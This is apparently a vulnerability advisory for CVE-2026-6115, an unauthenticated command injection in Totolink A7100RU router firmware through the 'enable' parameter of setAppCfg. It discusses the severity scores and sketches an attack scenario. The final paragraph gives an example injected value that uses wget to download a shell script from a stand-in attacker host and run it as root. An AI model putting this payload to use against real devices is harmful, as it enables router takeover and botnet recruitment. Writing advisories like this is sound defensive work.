A7100Ru CVE-2026-6115

Remote unauthenticated attacker can exploit Totolik A7100RU router firmware version 7.4cu.2313_b20191024 by sending a crafted request to /cgi-bin/cstecgi.cgi with manipulated 'enable' parameter in setAppCfg function. No authentication or user interaction required.

Real-world risk is critically high due to convergence of multiple severe factors. CVSS 9.8 reflects worst-case scenario: network-accessible (AV:N), low attack complexity (AC:L), no authentication required (PR:N), no user interaction (UI:N), and complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H). The publicly available exploit code on GitHub dramatically increases risk by enabling even low-skilled attackers to weaponize this vulnerability. SSVC decision framework assessment indicates high technical impact (arbitrary code execution), automatable exploitation (no user interaction required, simple HTTP request), and confirmed proof-of-concept availability. However, absence from CISA KEV suggests this is not yet widely exploited in targeted campaigns, possibly due to the limited deployment footprint of this specific Totolink router model. EPSS data not provided, but comparable unauthenticated RCE vulnerabilities in IoT devices typically show 30-60% exploitation probability within months of public disclosure. The combination of internet-facing management interfaces on consumer routers, vendor patching challenges in IoT space, and available exploit code makes this a genuine priority for organizations using affected devices, despite the niche product scope.

An external attacker scans internet-exposed IP ranges for Totolink A7100RU devices by fingerprinting the web administration interface. Upon identifying a target, the attacker sends a specially crafted HTTP POST request to /cgi-bin/cstecgi.cgi with the setAppCfg function, injecting shell metacharacters and malicious commands into the 'enable' parameter (example: enable=1;wget http://attacker.com/malware.sh -O /tmp/m.sh;sh /tmp/m.sh). The router executes the injected commands with root privileges, downloading and executing the attacker's payload to establish persistent backdoor access, pivot into the internal network, or enlist the device in a botnet for DDoS attacks.